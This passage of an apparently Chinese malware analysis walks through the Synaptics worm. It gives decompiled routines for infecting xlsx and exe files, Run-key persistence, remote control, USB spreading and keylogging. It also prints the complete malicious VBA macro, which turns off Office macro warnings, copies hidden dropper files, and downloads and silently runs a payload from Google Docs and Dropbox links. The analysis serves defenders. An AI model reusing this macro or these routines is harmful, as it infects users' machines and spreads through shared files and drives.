    v26 = &savedregs;  
    v25 = &loc_47954D;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    Variants::__linkproc__ DispInvoke(v59, &v64, dword_479658, dword_479668);  
    Variants::__linkproc__ DispInvoke(0, v59, v12, &v67);  
    Variants::__linkproc__ DispInvoke(v56, &v64, dword_479690, 1);  
    Variants::__linkproc__ DispInvoke(v57, v56, dword_479680, dword_479674);  
    Variants::__linkproc__ DispInvoke(v58, v57, v18, ExceptionList);  
    v3 = Variants::__linkproc__ VarToInteger(v58);  
    Variants::__linkproc__ DispInvoke(v54, &v64, dword_479690, 1);  
    Variants::__linkproc__ DispInvoke(&v55, v54, dword_4796A0, 1);  
    v13 = v55;  
    Variants::__linkproc__ DispInvoke(v52, &v64, dword_479690, 2);  
    Variants::__linkproc__ DispInvoke(v53, v52, dword_479680, &dword_4796B0);  
    Variants::__linkproc__ DispInvoke(0, v53, v10, v13);  
    Variants::__linkproc__ DispInvoke(v51, &v64, dword_479690, 2);  
    Variants::__linkproc__ DispInvoke(0, v51, dword_4796BC, ExceptionList);  
    if ( v3 > 0 )  
    {  
      do  
      {  
        Variants::__linkproc__ DispInvoke(v48, &v64, dword_479680, dword_479674);  
        Variants::__linkproc__ DispInvoke(&v49, v48, v16, byte_4796C8);  
        Variants::__linkproc__ DispInvoke(v50, &v64, (char *)&loc_4796D3 + 1, v49);  
        Variants::__linkproc__ DispInvoke(0, v50, v19, ExceptionList);  
        Variants::__linkproc__ DispInvoke(v46, &v64, dword_479704, dword_4796F0);  
        Variants::__linkproc__ DispInvoke(v47, v46, v17, dword_4796E4);  
        Variants::__linkproc__ DispInvoke(0, v47, v20, ExceptionList);  
        --v3;  
      }  
      while ( v3 );  
    }  
    Variants::__linkproc__ DispInvoke(v44, &v64, dword_479680, dword_479674);  
    Variants::__linkproc__ DispInvoke(v45, v44, v21, ExceptionList);  
    Variants::__linkproc__ VarFromInt(&pvarg);  
    Variants::__linkproc__ VarCmpLE(v45, &pvarg);  
    if ( v5 ^ v6 | v4 )  
    {  
      Variants::__linkproc__ DispInvoke(v40, &v64, dword_479680, dword_479674);  
      Variants::__linkproc__ DispInvoke(&v41, v40, v22, ExceptionList);  
      Variants::__linkproc__ DispInvoke(&v42, &v64, (char *)&loc_4796D3 + 1, v41);  
      v14 = v42;  
      Variants::__linkproc__ DispInvoke(v39, &v64, dword_479680, dword_479714);  
      Variants::__linkproc__ DispInvoke(0, v39, v11, v14);  
    }  
    Variants::__linkproc__ DispInvoke(v37, &v64, dword_479680, dword_479674);  
    Variants::__linkproc__ DispInvoke(v38, v37, v23, ExceptionList);  
    Variants::__linkproc__ VarFromInt(&v36);  
    unknown_libname_276(v38, &v36);  
    v7 = Variants::__linkproc__ VarToInteger(v38);  
    if ( v7 > 0 )  
    {  
      v8 = 1;  
      do  
      {  
        Variants::__linkproc__ DispInvoke(v34, &v64, dword_479690, 1);  
        Variants::__linkproc__ DispInvoke(v35, v34, dword_4796A0, v8);  
        Variants::__linkproc__ DispInvoke(0, v35, dword_479614, 0);  
        ++v8;  
        --v7;  
      }  
      while ( v7 );  
    }  
    Variants::__linkproc__ DispInvoke(v33, &v64, dword_479690, 1);  
    Variants::__linkproc__ DispInvoke(0, v33, byte_479724, ExceptionList);  
    __writefsdword(0, (unsigned int)ExceptionList);  
    v26 = (int *)&loc_479557;  
    Sysutils::DeleteFile(v67);  
    Sysutils::ChangeFileExt(v67, ".xlsm");      // 替换文件扩展名为xlsm  
    CopyFile(System__AnsiString, v32[1], 0x80u);  
    Sysutils::ExtractFileDir(v67);  
    System::__linkproc__ LStrCat((int)v32, "\\~$cache1");  
    result = Sysutils::FileExists(v32[0]);  
    if ( !(_BYTE)result )  
    {  
      Sysutils::ExtractFileDir(v67);  
      System::__linkproc__ LStrCat((int)&v31, "\\~$cache1");  
      v25 = (void *)v31;  
      System::ParamStr(0, &v30);  
      result = CopyFile(v30, (int)v25, 6u);  
    }  
    if ( v66 )  
    {  
      Variants::__linkproc__ DispInvoke(0, &v64, &dword_479740, v26);  
      Varhlpr::VariantClear(v29);  
      return Variants::__linkproc__ OleVarFromVar(&v64, v29);  
    }  
  }  
  else  
  {  
    __writefsdword(0, v27[0]);  
    v28 = (int *)&loc_4795CA;  
    sub_4109FC(v29);  
    System::__linkproc__ LStrArrayClr(&v30, 4);  
    System::__linkproc__ FinalizeArray(v33, &byte_4010B4, 28, v28);  
    System::__linkproc__ LStrArrayClr(&v61, 2);  
    System::__linkproc__ IntfClear(&v63);  
    sub_4109FC(&v64);  
    System::__linkproc__ LStrClr(&System__AnsiString);  
    return System::__linkproc__ LStrClr(&v67);  
  }  
  return result;  
}

xls感染比较简单,获取xlsx文件内容,与XLSM资源合并,生成xlsm文件,替换源文件内容。病毒在感染xlsx文件后,会生成一个xlsm宏文件,主要来分析下其中的vba代码。一开始想直接查看vba代码的内容,发现被加密了,试了网上的很多方法都不行。

最后发现oletools非常好用,推荐给大家,可以直接分析xlsm中的宏代码,或者-c直接提取出来。

恶意宏代码如下:

'Workbook_Open事件,主要功能是修改注册表内容,将VBA宏警告设置为禁用,关闭警告框,执行MPS  
Private Sub Workbook_Open()  
  Dim i As Integer  
  For i = 1 To ActiveWorkbook.Sheets.Count  
    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible  
  Next i  
    
'修改注册表内容将VBA宏警告设置为禁用,关闭警告框  
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"  
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"  
    
  Application.DisplayAlerts = False  
  SheetCount = Worksheets.Count  
    
  Call MPS  
    
  ActiveWorkbook.Sheets(1).Select  
  SheetsChanged = False  
End Sub  
  
Private Sub Workbook_BeforeClose(Cancel As Boolean)  
  If Not SheetsChanged Then  
    ActiveWorkbook.Saved = True  
  End If  
End Sub  
  
Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)  
  SheetsChanged = True  
End Sub  
  
Private Sub Workbook_NewSheet(ByVal Sh As Object)  
  SheetsChanged = True  
End Sub  
  
Private Sub Workbook_SheetActivate(ByVal Sh As Object)  
  If ActiveWorkbook.Sheets.Count <> SheetCount Then  
    SheetsChanged = True  
    SheetCount = ActiveWorkbook.Sheets.Count  
  End If  
End Sub  
  
'文件保存,根据是”保存“还是”另存为“进行不同的操作  
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)  
  Dim i As Integer  
  Dim AIndex As Integer  
  Dim FName  
  
  AIndex = ActiveWorkbook.ActiveSheet.Index  
  
  If SaveAsUI = False Then  
    Cancel = True  
    Application.EnableEvents = False  
    Application.ScreenUpdating = False  
      
    For i = 1 To ActiveWorkbook.Sheets.Count - 1  
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden  
    Next i  
    ActiveWorkbook.Save  
        
    For i = 1 To ActiveWorkbook.Sheets.Count  
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible  
    Next i  
    ActiveWorkbook.Sheets(AIndex).Select  
    SheetsChanged = False  
      
    Application.ScreenUpdating = True  
    Application.EnableEvents = True  
  Else  
    Cancel = True  
    Application.EnableEvents = False  
    Application.ScreenUpdating = False  
      
    For i = 1 To ActiveWorkbook.Sheets.Count - 1  
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden  
    Next i  
      
    FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂l�ma Kitab�(*.xlsm), *.xlsm")  
    If FName <> False Then  
      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled  
      SaveAsInj ActiveWorkbook.Path  
    End If  
      
    For i = 1 To ActiveWorkbook.Sheets.Count  
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible  
    Next i  
    ActiveWorkbook.Sheets(AIndex).Select  
    SheetsChanged = False  
          
    Application.ScreenUpdating = True  
    Application.EnableEvents = True  
  End If  
End Sub  
  
'获取Workbook_BeforeSave事件中保存的文件的路径,检查目录下是否有Synaptics.exe文件,如果没有,将Synaptics.exe文件复制到目录下,并重命名为"\~$cache1",最后设置文件属性,设置为隐藏  
Sub SaveAsInj(DIR As String)    '接收DIR  
  Dim FSO As Object  
  Dim FN As String  
    
  Set FSO = CreateObject("scripting.filesystemobject")  
	FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"    '病毒母体所在路径  
    
	If FSO.FileExists(FN) Then     '检查文件是否存在  
    If Not FSO.FileExists(DIR & "\~$cache1") Then  
    	FileCopy FN, DIR & "\~$cache1"         '文件不存在则复制文件,重命名为"\~$cache1"  
    End If  
  	SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem      '设置文件属性  
  End If  
End Sub  
  
'读取注册表  
Function RegKeyRead(i_RegKey As String) As String  
  Dim myWS As Object  
  
  On Error Resume Next  
  Set myWS = CreateObject("WScript.Shell")  
  RegKeyRead = myWS.RegRead(i_RegKey)  
End Function  
  
'检查注册表项是否存在  
Function RegKeyExists(i_RegKey As String) As Boolean  
Dim myWS As Object  
  
  On Error GoTo ErrorHandler  
  Set myWS = CreateObject("WScript.Shell")  
  myWS.RegRead i_RegKey  
  RegKeyExists = True  
  Exit Function  
    
ErrorHandler:  
  RegKeyExists = False  
End Function  
  
'修改注册表  
Sub RegKeySave(i_RegKey As String, _  
               i_Value As String, _  
      Optional i_Type As String = "REG_SZ")  
Dim myWS As Object  
  
  Set myWS = CreateObject("WScript.Shell")  
  myWS.RegWrite i_RegKey, i_Value, i_Type  
End Sub  
  
'下载执行恶意程序,首先判断病毒文件是否存在,如果存在直接执行,不存在下载并执行  
Sub MPS()  
  Dim FSO As Object  
  Dim FP(1 To 3), TMP, URL(1 To 3) As String  
    
  Set FSO = CreateObject("scripting.filesystemobject")  
  FP(1) = ActiveWorkbook.Path & "\~$cache1"  
  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"      '检查两个程序是否存在  
  
  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"  
  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  
  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  
  TMP = Environ("Temp") & "\~$cache1.exe"  
    
  If FSO.FileExists(FP(1)) Then       '检查文件是否存在  
    If Not FSO.FileExists(TMP) Then  
      FileCopy FP(1), TMP  
    End If  
    Shell TMP, vbHide  
  ElseIf FSO.FileExists(FP(2)) Then  
    If Not FSO.FileExists(TMP) Then  
      FileCopy FP(2), TMP  
    End If  
    Shell TMP, vbHide  
  Else         '如果文件不存在,下载运行  
    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then  
      Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide  
    ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then  
      Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide  
    ElseIf Not FSO.FileExists(TMP) Then  
      If FDW((URL(1)), (TMP)) Then  
      ElseIf FDW((URL(2)), (TMP)) Then  
      ElseIf FDW((URL(3)), (TMP)) Then  
      End If  
      If FSO.FileExists(TMP) Then  
        Shell TMP, vbHide  
      End If  
    Else  
      Shell TMP, vbHide  
    End If  
      
  End If  
    
End Sub  
  
'从指定链接下载文件并保存到路径  
Function FDW(MYU, NMA As String) As Boolean  
  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")  
  If WinHttpReq Is Nothing Then  
    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")  
  End If  
  
  WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"  
  WinHttpReq.Option(6) = AllowRedirects  
  WinHttpReq.Open "GET", MYU, False  
  WinHttpReq.Send  
    
  If (WinHttpReq.Status = 200) Then  
    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then  
      FDW = True  
      Set oStream = CreateObject("ADODB.Stream")  
      oStream.Open  
      oStream.Type = 1  
      oStream.Write WinHttpReq.ResponseBody  
      oStream.SaveToFile (NMA)  
      oStream.Close  
    Else  
       FDW = False  
    End If  
  Else  
    FDW = False  
  End If  
End Function

这段宏代码还是挺有意思的,主要作用就是扩大感染。

2、隐藏自身、持久化

病毒在首次运行后会创建C:\ProgramData\Synaptics目录,将病毒母体存放在该目录下,并设置文件属性为隐藏。

char __usercall sub_498B40@<al>(int a1@<eax>, int a2@<ebx>)  
{  
  char v2; // zf  
  char *v3; // eax  
  int v4; // ecx  
  int v5; // ecx  
  int *v6; // ecx  
  int v7; // ecx  
  int v8; // ecx  
  int v9; // ecx  
  char v11; // [esp-20h] [ebp-70h]  
  int v12; // [esp-1Ch] [ebp-6Ch]  
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-68h] BYREF  
  void *v14; // [esp-14h] [ebp-64h]  
  int *v15; // [esp-10h] [ebp-60h]  
  unsigned int v16[2]; // [esp-Ch] [ebp-5Ch] BYREF  
  int *v17; // [esp-4h] [ebp-54h]  
  int v18; // [esp+Ch] [ebp-44h] BYREF  
  unsigned int v19; // [esp+10h] [ebp-40h] BYREF  
  int v20; // [esp+14h] [ebp-3Ch] BYREF  
  int v21; // [esp+18h] [ebp-38h] BYREF  
  int v22; // [esp+1Ch] [ebp-34h] BYREF  
  int v23; // [esp+20h] [ebp-30h] BYREF  
  int System__AnsiString; // [esp+24h] [ebp-2Ch] BYREF  
  int v25; // [esp+28h] [ebp-28h] BYREF  
  int v26; // [esp+2Ch] [ebp-24h] BYREF  
  int v27; // [esp+30h] [ebp-20h] BYREF  
  int v28; // [esp+34h] [ebp-1Ch] BYREF  
  int v29; // [esp+38h] [ebp-18h] BYREF  
  int v30[2]; // [esp+3Ch] [ebp-14h] BYREF  
  int v31; // [esp+44h] [ebp-Ch] BYREF  
  char v32; // [esp+4Bh] [ebp-5h]  
  int v33; // [esp+4Ch] [ebp-4h]  
  int savedregs; // [esp+50h] [ebp+0h] BYREF  
  
  v33 = a1;  
  v17 = &savedregs;  
  v16[1] = (unsigned int)&loc_498E26;  
  v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v16);  
  System::ParamStr(0, v30);                     // 获取路径  
  Sysutils::ExtractFileDir(v30[0]);  
  System::__linkproc__ LStrCmp(v30[1], dword_49F144);// dword_49F144为C:\ProgramData\Synaptics。这里和C:\ProgramData\Synaptics比较,正确执行else,不正确执行v32=0  
  if ( v2 )  
  {  
    v32 = 0;  
  }  
  else  
  {  
    v32 = 1;  
    if ( !Sysutils::DirectoryExists((const int)dword_49F144) )// 判断路径是否存在  
    {  
      v15 = &savedregs;  
      v14 = &loc_498C00;  
      ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
      __writefsdword(0, (unsigned int)&ExceptionList);  
      v3 = System::__linkproc__ LStrToPChar((char *)dword_49F144);  
      unknown_libname_83((int)&v29, v3);  
      Sysutils::CreateDir(v29);                 // 创建C:\ProgramData\Synaptics文件夹  
      Sysutils::FileSetAttr((const int)dword_49F144, 6u);// 设置目录属性设置为可写  
      System::__linkproc__ LStrCat3((int)&v28, &str_CreateDir____[1], dword_49F144);  
      sub_4967D4(v33, v28);  
      __writefsdword(0, (unsigned int)ExceptionList);  
    }  
    v15 = &savedregs;  
    v14 = &loc_498C8A;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    System::ParamStr(0, &v27);  
    v12 = v27;  
    System::__linkproc__ LStrCatN(&v26, 3, v4, dword_49F144, &str___93[1], str_Synaptics_exe);  
    CopyFile(v12, v26, 6u);                     // copy病毒文件到指定目录,设置文件属性为隐藏  
    System::__linkproc__ LStrCatN(&v25, 4, v5, dword_49F144, &str___93[1], str_Synaptics_exe);  
    sub_4967D4(v33, v25);  
    v6 = v15;  
    __writefsdword(0, (unsigned int)ExceptionList);  
    v15 = &savedregs;  
    v14 = &loc_498D22;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    System::__linkproc__ LStrCatN(&System__AnsiString, 3, v6, dword_49F144, &str___93[1], str_Synaptics_exe);  
    if ( Sysutils::FileExists(System__AnsiString) )  
    {  
      System::__linkproc__ LStrCatN(&v23, 3, v7, dword_49F144, &str___93[1], str_Synaptics_exe);  
      sub_474B04(v23, 0, str_EXEVSNX_0);  
      System::__linkproc__ LStrCat3((int)&v22, &str_Update_Res____[1], str_EXEVSNX_0);  
      sub_4967D4(v33, v22);  
    }  
    __writefsdword(0, (unsigned int)ExceptionList);  
    v15 = &savedregs;  
    v14 = &loc_498DFB;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    System::ParamStr(0, &v21);  
    sub_474948(v21, &str_ProductName_0[1], &v31);  
    if ( !v31 )  
    {  
      System::ParamStr(0, &v20);  
      sub_474948(v20, &str_FileDescription_0[1], &v31);  
    }  
    if ( !v31 )  
      System::__linkproc__ LStrLAsg(&v31, &str_Synaptics_Point[1]);  
    v11 = sub_4738BC(0, a2);  
    System::__linkproc__ LStrCatN(&v19, 3, v8, dword_49F144, &str___93[1], str_Synaptics_exe);  
    SetRootKeyA(v11, v31, v19, 1);              // 设置注册表项  
    System::__linkproc__ LStrCatN(&v18, 6, v9, dword_49F144, &str___93[1], str_Synaptics_exe);  
    sub_4967D4(v33, v18);  
    __writefsdword(0, (unsigned int)ExceptionList);  
  }  
  __writefsdword(0, v16[0]);  
  v17 = (int *)&loc_498E2D;  
  System::__linkproc__ LStrArrayClr(&v18, 15);  
  return v32;  
}

同时病毒还会修改注册表信息实现自启动。

根据a1的值判断是设置HKEY_LOCAL_MACHINE
还是HKEY_CURRENT_USER
,打开注册表设置自启动的路径Software\Microsoft\Windows\CurrentVersion\Run
,写入注册表。

// bad sp value at call has been detected, the output may be wrong!  
int __fastcall SetRootKeyA(char a1, int a2, unsigned int a3, char a4)  
{  
  unsigned int v6[2]; // [esp-18h] [ebp-28h] BYREF  
  void **v7; // [esp-10h] [ebp-20h]  
  _DWORD v8[4]; // [esp-Ch] [ebp-1Ch] BYREF  
  System::TObject *v9; // [esp+4h] [ebp-Ch]  
  unsigned int v10; // [esp+8h] [ebp-8h] BYREF  
  int System__AnsiString; // [esp+Ch] [ebp-4h]  
  void *savedregs; // [esp+10h] [ebp+0h] BYREF  
  
  v10 = a3;  
  System__AnsiString = a2;  
  System::__linkproc__ LStrAddRef(a2);  
  System::__linkproc__ LStrAddRef(v10);  
  v8[2] = &savedregs;  
  v8[1] = &loc_47365D;  
  v8[0] = NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v8);  
  v7 = &savedregs;  
  v6[1] = (unsigned int)&loc_47363B;  
  v6[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v6);  
  v9 = (System::TObject *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_431D40);  
  if ( a1 )  
    Registry::TRegistry::SetRootKey(v9, 0x80000002);// HKEY_LOCAL_MACHINE  
  else  
    Registry::TRegistry::SetRootKey(v9, 0x80000001);// HKEY_CURRENT_USER  
  *((_BYTE *)v9 + 12) = 0;  
  Registry::TRegistry::OpenKey(v9, (const int)&str_Software_Micros[1], 0);// 打开注册表Software\Microsoft\Windows\CurrentVersion\Run  
  if ( a4 )  
    Registry::TRegistry::WriteString(v9, System__AnsiString, v10);// 写入注册表  
  else  
    Registry::TRegistry::DeleteValue(v9, System__AnsiString);  
  Registry::TRegistry::CloseKey(v9);  
  __writefsdword(0, v6[0]);  
  v7 = (void **)&loc_473642;  
  System::TObject::Free(v9);  
  __writefsdword(0, v10);  
  savedregs = &loc_473664;  
  return System::__linkproc__ LStrArrayClr(&v10, 2);  
}

3、远程控制

分析病毒远控代码可以发现,病毒可以进行命令执行、屏幕截图、磁盘和目录遍历、下载删除文件等功能。

int __fastcall RemoteControl(int a1)  
{  
  int v2; // esi  
  char v3; // zf  
  _EXCEPTION_REGISTRATION_RECORD *v4; // edx  
  _EXCEPTION_REGISTRATION_RECORD *v6; // [esp-14h] [ebp-28h] BYREF  
  int *v7; // [esp-10h] [ebp-24h]  
  int ExceptionList; // [esp-Ch] [ebp-20h] BYREF  
  void *v9; // [esp-8h] [ebp-1Ch]  
  int *v10; // [esp-4h] [ebp-18h]  
  void *v11; // [esp+0h] [ebp-14h]  
  DWORD ThreadId; // [esp+Ch] [ebp-8h] BYREF  
  int v13; // [esp+10h] [ebp-4h] BYREF  
  int savedregs; // [esp+14h] [ebp+0h] BYREF  
  
  v13 = 0;  
  v10 = &savedregs;  
  v9 = &loc_495D23;  
  ExceptionList = (int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)&ExceptionList);  
  if ( (*(unsigned __int8 (__fastcall **)(Idstream::TIdStream *, _DWORD))(*(_DWORD *)dword_49F114 + 84))(  
         dword_49F114,  
         *(_DWORD *)dword_49F114) )  
  {  
    unknown_libname_533(dword_49F134, 0);  
    (*(void (__fastcall **)(Idstream::TIdStream *, _strings *))(*(_DWORD *)dword_49F114 + 124))(  
      dword_49F114,  
      &str_CheckMe[1]);  
    ExceptionList = -1;  
    v7 = &v13;  
    v2 = *(_DWORD *)dword_49F114;  
    (*(void (__fastcall **)(Idstream::TIdStream *, _strings *, int, int, int *))(*(_DWORD *)dword_49F114 + 112))(  
      dword_49F114,  
      &str___79[1],  
      -1,  
      -1,  
      &v13);  
    ExceptionList = (int)&savedregs;  
    v7 = (int *)&loc_495CD3;  
    v6 = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&v6);  
    System::__linkproc__ LStrCmp(v13, &str_GetCMDAccess[1]);// 命令执行  
    if ( v3 )  
      sub_495DD0(a1, v2);  
    System::__linkproc__ LStrCmp(v13, &str_GetScreenImage[1]);// 屏幕截图  
    if ( v3 )  
      sub_495F14(a1);  
    System::__linkproc__ LStrCmp(v13, &str_ListDisk[1]);// 磁盘列表  
    if ( v3 )  
      sub_495FDC(a1);  
    System::__linkproc__ LStrCmp(v13, &str_ListDir[1]);// 目录列表  
    if ( v3 )  
      sub_4960C8(a1, v2);  
    System::__linkproc__ LStrCmp(v13, &str_DownloadFile[1]);// 下载文件  
    if ( v3 )  
      sub_496254(a1);  
    System::__linkproc__ LStrCmp(v13, &str_DeleteFile[1]);// 删除文件  
    if ( v3 )  
      sub_496400(a1);  
    v4 = v6;  
    __writefsdword(0, (unsigned int)v6);  
    LOBYTE(v4) = 1;  
    unknown_libname_533(dword_49F134, v4);  
  }  
  else  
  {  
    unknown_libname_533(dword_49F134, 0);  
    CreateThread_0(0, 0, StartAddress, 0, 0, &ThreadId);  
  }  
  __writefsdword(0, (unsigned int)v9);  
  v11 = &loc_495D2A;  
  return System::__linkproc__ LStrClr(&v13);  
}

4、USB设备感染

同时病毒还会监听是否有USB设备接入,从而感染USB设备内的文件扩大传播。

int __userpurge OpDrive@<eax>(  
        int a1@<eax>,  
        int System::AnsiString@<ecx>,  
        int a3@<ebx>,  
        int a4@<edi>,  
        int a5@<esi>,  
        int a6)  
{  
  __int32 v9; // eax  
  void *v11; // [esp-30h] [ebp-40h]  
  bool v12; // [esp-2Ch] [ebp-3Ch]  
  bool v13; // [esp-28h] [ebp-38h]  
  bool v14; // [esp-28h] [ebp-38h]  
  unsigned int v15[3]; // [esp-24h] [ebp-34h] BYREF  
  unsigned int v16[2]; // [esp-18h] [ebp-28h] BYREF  
  int *v17; // [esp-10h] [ebp-20h]  
  int v18; // [esp-Ch] [ebp-1Ch]  
  int v19; // [esp-8h] [ebp-18h]  
  int v20; // [esp-4h] [ebp-14h]  
  void *v21; // [esp+0h] [ebp-10h] BYREF  
  int v22; // [esp+4h] [ebp-Ch] BYREF  
  void *v23; // [esp+8h] [ebp-8h]  
  int v24; // [esp+Ch] [ebp-4h] BYREF  
  int savedregs; // [esp+10h] [ebp+0h] BYREF  
  
  v24 = 0;  
  v23 = 0;  
  v22 = 0;  
  v21 = 0;  
  v20 = a3;  
  v19 = a5;  
  v18 = a4;  
  v17 = &savedregs;  
  v16[1] = (unsigned int)&loc_497174;  
  v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v16);  
  v15[2] = (unsigned int)&savedregs;  
  v15[1] = (unsigned int)&loc_49714F;  
  v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v15);  
  Sysutils::ExtractFileDrive(System::AnsiString);// 获取驱动器,也就是盘符  
  System::__linkproc__ LStrCat3((int)&v24, &str_Drive_Added____[1], v23);  
  sub_4967D4(a1, v24);  
  v13 = Sysutils::StrToBool(dword_49F1D0);  
  v12 = Sysutils::StrToBool(dword_49F1D4);  
  Sysutils::ExtractFileDrive(System::AnsiString);  
  System::__linkproc__ LStrCat((int)&v22, &str___86[1]);  
  v11 = (void *)v22;  
  LOBYTE(v9) = Sysutils::StrToBool(dword_49F1CC);  
  sub_4975D8(a1, v11, v9, v13, v12);            // 感染  
  v14 = Sysutils::StrToBool(dword_49F1B8);  
  Sysutils::ExtractFileDrive(System::AnsiString);  
  System::__linkproc__ LStrCat((int)&v21, &str___86[1]);  
  sub_496A40(a1, v21, 0, a1, a4, System::AnsiString, v14);   //感染  
  __writefsdword(0, v15[0]);  
  __writefsdword(0, v16[0]);  
  v17 = (int *)&loc_49717B;  
  return System::__linkproc__ LStrArrayClr(&v21, 4);  
}

感染USB设备中的文件

int __userpurge OpDriveExeXls@<eax>(  
        int a1@<eax>,  
        int System::AnsiString@<ecx>,  
        int a3@<ebx>,  
        int a4@<edi>,  
        int a5@<esi>,  
        int a6)  
{  
  char v9; // zf  
  unsigned int v11[3]; // [esp-24h] [ebp-40h] BYREF  
  unsigned int v12[2]; // [esp-18h] [ebp-34h] BYREF  
  int *v13; // [esp-10h] [ebp-2Ch]  
  int v14; // [esp-Ch] [ebp-28h]  
  int v15; // [esp-8h] [ebp-24h]  
  int v16; // [esp-4h] [ebp-20h]  
  int v17; // [esp+0h] [ebp-1Ch] BYREF  
  int v18; // [esp+4h] [ebp-18h] BYREF  
  int v19; // [esp+8h] [ebp-14h]  
  int v20; // [esp+Ch] [ebp-10h]  
  int v21; // [esp+10h] [ebp-Ch] BYREF  
  int v22; // [esp+14h] [ebp-8h] BYREF  
  int v23; // [esp+18h] [ebp-4h]  
  int savedregs; // [esp+1Ch] [ebp+0h] BYREF  
  
  v23 = 0;  
  v22 = 0;  
  v21 = 0;  
  v20 = 0;  
  v19 = 0;  
  v18 = 0;  
  v17 = 0;  
  v16 = a3;  
  v15 = a5;  
  v14 = a4;  
  v13 = &savedregs;  
  v12[1] = (unsigned int)&loc_4969C5;  
  v12[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v12);  
  v11[2] = (unsigned int)&savedregs;  
  v11[1] = (unsigned int)&loc_4969A0;  
  v11[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v11);  
  Sysutils::ExtractFileExt(System::AnsiString);  
  System::__linkproc__ LStrCmp(v23, &str__exe_0[1]);// 比较后缀名,判断是否为exe文件  
  if ( v9 && !unknown_libname_89(&str____0[1], System::AnsiString) && (unsigned __int8)Sysutils::StrToBool(dword_49F1D0) )  
  {  
    System::__linkproc__ LStrCat3((int)&v22, &str_Injecting____[1], (void *)System::AnsiString);  
    sub_4967D4(a1, v22);  
    sub_477940(System::AnsiString, (int)str_EXEVSNX_0, off_49D6BC, dword_49F14C, 1, (int)&v21);// 感染exe  
    sub_4967D4(a1, v21);  
  }  
  else  
  {  
    Sysutils::ExtractFileExt(System::AnsiString);  
    System::__linkproc__ LStrCmp(v20, &str__xlsx[1]);// 比较后缀名,判断是否为xlsx文件  
    if ( v9 )  
    {  
      Sysutils::ExtractFileName(System::AnsiString);  
      if ( !Sysutils::AnsiPos(&str___[1], v19) )  
      {  
        if ( (unsigned __int8)Sysutils::StrToBool(dword_49F1D4) )  
        {  
          System::__linkproc__ LStrCat3((int)&v18, &str_Injecting____[1], (void *)System::AnsiString);  
          sub_4967D4(a1, v18);  
          sub_47983C(System::AnsiString);       // 感染xlsx  
          System::__linkproc__ LStrCat3((int)&v17, &str_Completed_____2[1], (void *)System::AnsiString);  
          sub_4967D4(a1, v17);  
        }  
      }  
    }  
  }  
  __writefsdword(0, v11[0]);  
  __writefsdword(0, v12[0]);  
  v13 = (int *)&loc_4969CC;  
  return System::__linkproc__ LStrArrayClr(&v17, 7);  
}

USB传播过程:

我看其他的分析有说程序会生成autorun.inf 文件,这个我查了一下作用是允许在双击磁盘时自动运行指定的某个文件。

但是因为出现过多的使用autorun.inf 文件进行传播木马,微软在在2011年2月8日发布的安全公告KB967940中进行了更新,已经无法自动运行了。

5、键盘监听

病毒释放KBHKS
资源中的键盘监听DLL文件,加载此DLL文件,使用HookOn函数进行键盘监听。

int __fastcall KeyboardMonitor(int a1, int a2, int a3)  
{  
  char *v6; // eax  
  char *v7; // eax  
  int v8; // edx  
  __int64 v9; // rax  
  HANDLE FileMappingA; // eax  
